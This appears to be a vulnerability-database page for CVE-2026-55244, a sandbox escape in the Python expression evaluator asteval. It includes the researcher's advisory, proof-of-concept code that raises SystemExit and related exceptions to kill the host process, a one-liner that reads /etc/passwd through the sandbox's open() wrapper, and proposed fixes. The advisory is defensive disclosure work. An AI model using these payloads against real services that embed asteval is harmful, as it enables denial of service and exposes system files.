CVE-2026-55244

MEDIUMPre-NVD 5.05.0
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.0 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
5.0EG
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS PROB: CVSS: 5.0Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

asteval has a Sandbox Escape via BaseException Subclasses

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.


Affected Code

asteval/astutils.py, lines 89–108FROM_PY exposes dangerous classes to sandbox users:

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           'BaseException',          # ← escapes except Exception:
           'BufferError', 'BytesWarning',
           ...
           'GeneratorExit',          # ← escapes except Exception:
           ...
           'KeyboardInterrupt',      # ← escapes except Exception:
           ...
           'SystemExit',             # ← escapes except Exception:
           ...)

asteval/asteval.py, line 322run() exception handler:

except Exception:                    # ← does NOT catch BaseException subclasses
    if with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370eval() exception handler:

except Exception:                    # ← same gap
    if show_errors and not raise_errors:
        ...

asteval/asteval.py, line 264raise_exception() raises the class directly:

raise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above


Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException
├── SystemExit          ← NOT caught by except Exception:
├── KeyboardInterrupt   ← NOT caught by except Exception:
├── GeneratorExit       ← NOT caught by except Exception:
└── Exception           ← caught normally
    ├── RuntimeError
    ├── ValueError
    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:

self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.


Proof of Concept

from asteval import Interpreter

Variant 1: terminate the process

aeval = Interpreter() try: aeval.eval('raise SystemExit("terminated by sandbox user")') except SystemExit as e: print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

Variant 2: disrupt signal/finally handling

aeval = Interpreter() try: aeval.eval('raise KeyboardInterrupt("interrupt injected")') except KeyboardInterrupt as e: print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

Variant 3: GeneratorExit

aeval = Interpreter() try: aeval.eval('raise GeneratorExit("gen escape")') except GeneratorExit as e: print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

Variant 4: BaseException base class

aeval = Interpreter() try: aeval.eval('raise BaseException("base escape")') except BaseException as e: if not isinstance(e, Exception): print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'

Real-world server scenario

from asteval import Interpreter

def handle_request(user_expression): aeval = Interpreter() return aeval.eval(user_expression) # SystemExit propagates here

Attacker sends: raise SystemExit(1)

Application terminates. Top-level except Exception: handlers do not protect it.

try: handle_request('raise SystemExit(1)') except Exception: pass # <-- does NOT catch SystemExit; process exits


Impact

| Variant | Impact | |---------|--------| | SystemExit | Process terminates; exit code and message attacker-controlled | | KeyboardInterrupt | Disrupts finally blocks, signal handlers, and KeyboardInterrupt-aware loops | | GeneratorExit | Disrupts generator cleanup in calling code | | BaseException | Generic escape, same propagation |

Any application that:

  • Accepts user-supplied expressions via asteval
  • Relies on except Exception: at the top level (standard practice)
  • Does not wrap aeval.eval() in except BaseException: (non-standard, unexpected requirement)

...is vulnerable to attacker-triggered process termination (DoS).

CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact — process termination (A:H).


Additional Note: File Read Capability (Acknowledged Limitation)

Independently of this vulnerability, asteval exposes a read-only open() wrapper (_open in astutils.py) that allows reading arbitrary files with the permissions of the calling process:

aeval.eval("open('/etc/passwd').read()")   # returns /etc/passwd contents

This is documented in doc/motivation.rst as a known design choice ("If reading from disk must be forbidden, you will want to overwrite the open() function from the symbol table"). It is included here for completeness, not as a separate advisory claim.


Recommended Fix

Option A — Remove dangerous classes from FROM_PY (minimal, preferred):

# asteval/astutils.py

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError', # Remove: 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', # Remove: 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', # Remove: 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplementedError', 'OSError', 'OverflowError', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', # Remove: 'SystemExit', 'True', 'TypeError', ...)

Option B — Block non-Exception raises in on_raise():

# asteval/asteval.py

def on_raise(self, node): excnode = node.exc msgnode = node.cause out = self.run(excnode) # Prevent BaseException subclasses from escaping the sandbox if not issubclass(out.__class__, Exception): self.raise_exception(node, exc=RuntimeError, msg=f"raising {out.__class__.__name__!r} is not permitted") return msg = ' '.join(str(a) for a in out.args) msg2 = self.run(msgnode) if msg2 not in (None, 'None'): msg = f"{msg}: {msg2}" self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

Note: Option B also fixes a secondary bug on the same line — ' '.join(out.args) crashes with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer code). The fix uses str(a) for a in out.args.

Option C — Catch BaseException in run() and eval() (broadest, requires care):

except BaseException as exc:
    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):
        # Re-raise as RuntimeError to contain within sandbox
        self.raise_exception(node, exc=RuntimeError,
                             msg=f"{type(exc).__name__} raised in sandbox")
    elif with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

Option A is the simplest and least likely to introduce regressions. Option B additionally addresses the str.join crash on integer args.


Disclosure Timeline

| Date | Event | |------|-------| | 2026-06-09 | Vulnerability discovered during code review | | 2026-06-09 | Report submitted via GitHub Security Advisory | | TBD | Maintainer acknowledgment | | TBD + 90 days | Public disclosure deadline |


Researcher

Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.


References

  • Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)
  • Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)
  • Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy
  • asteval documentation: https://lmfit.github.io/asteval/

CVSS v3
5.0
EG Score
5.0(low)
EG Risk
27(Track)
EG Risk 27/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity50% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

August 20, 2026

Last Modified

August 20, 2026

Vendor Advisories for CVE-2026-55244(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-08-20 17:42 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-55244?
CVE-2026-55244 is a medium vulnerability published on August 20, 2026. asteval has a Sandbox Escape via BaseException Subclasses Summary An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not…
When was CVE-2026-55244 disclosed?
CVE-2026-55244 was first published in the National Vulnerability Database on August 20, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55244?
CVE-2026-55244 has a CVSS v4.0 base score of 5.0 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-55244?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55244, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55244

Explore →

Is Your Infrastructure Affected by CVE-2026-55244?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.